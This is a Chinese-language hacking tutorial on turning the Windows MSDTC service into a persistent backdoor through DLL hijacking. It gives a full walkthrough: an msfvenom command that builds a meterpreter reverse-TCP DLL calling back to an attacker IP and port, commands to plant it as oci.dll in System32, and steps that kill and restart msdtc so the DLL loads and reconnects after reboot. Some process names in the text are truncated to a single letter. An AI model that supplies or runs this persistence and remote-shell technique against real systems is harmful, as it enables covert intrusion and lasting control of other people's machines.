这次文章的主角是msdtc,我们这次的目标就是让msdtc成为我们的"特洛伊木马"
msdtc介绍
1、m是微软分布式传输协调程序。该进程调用系统Microsoft Personal Web Server和Microsoft SQL Server。该服务用于管理多个服务器。
2、m是一个并列事务,是分布于两个以上的数据库,消息队列,文件系统或其他事务保护资源 管理器,删除要小心。
3、存在于组环境和域环境中。
4、进程文件: msdtc 或者 m。
5、进程名称: Distributed Transaction Coordinator 6、msdtc依赖RPC,RPC使用的端口为135。
msdtc后门利用
利用条件
目标机器处于域环境或组环境中,并且开启msdtc服务。存在域:
服务开启:
利用原理
当Windows操作系统启动Microsoft分布式事务处理协调器(MSDTC)服务时,攻击便开始了,该 服务可协调跨越多个资源管理器(例如数据库,消息队列和文件系统)的事务。当目标计算机加入域 时,MSDTC服务启动,它将搜索注册表如下位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
MSDTC服务中的MTxOCI组件搜索三个DLL:oci.dll,SQLLib80.dll和xa80.dll。Windows系统默认不包 含oci.dll。
我们将后门dll将其重命名为oci.dll,并将其放置在%SystemRoot%\system32\ 中。oci.dll就绪,使用命令关闭MSDTC服务,从而导致MSDTC重新加载。但是,这一次它将查找并找到oci.dll。
进行利用
生成dll木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > oci.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll
> oci.dll
这里有个坑点,64位的系统只支持64位的oci.dll加载,一开始实验的时候,我使用的是32位的
dll,所以一直加载失败。
在目标机器的system32 文件下查看,确实没有存在oci.dll
我们将刚才生成的msf生成的 oci.dll 上传到目标机器的C:\Windows\System32 目录下。在meterpreter中执行
upload oci.dll C:\\Windows shell
C:\Windows>move oci.dll c:\Windows\System32
meterpreter无法将文件直接上传到system32文件下,所以先上传到windows目录下,再启用shell,利用move命令完成操作。
使用命令关闭msdtc进程
taskkill /f /im m
如果mstdc服务没有自动重启,我们可以利用命令进行重启
net start msdtc
执行完毕之后,我们就会得到一个meterpretershell,但是有个问题,我们当前用户的所有者是 NT
AUTHORITY\NETWORK SERVICE
为了获得system权限,可采用降权启动,使用命令:
msdtc -install
效果图:
总结
目标机器重启,当再次登录本地用户或者域用户时(只要确保机器有域环境或组环境即可),木马都 会进行重连。但是权限却不是system权限,而是 NT AUTHORITY\NETWORK SERVICE 。虽然我们可以修改服务的启动者(无法修改为system启动),但是效果并不是很好,权限并不高。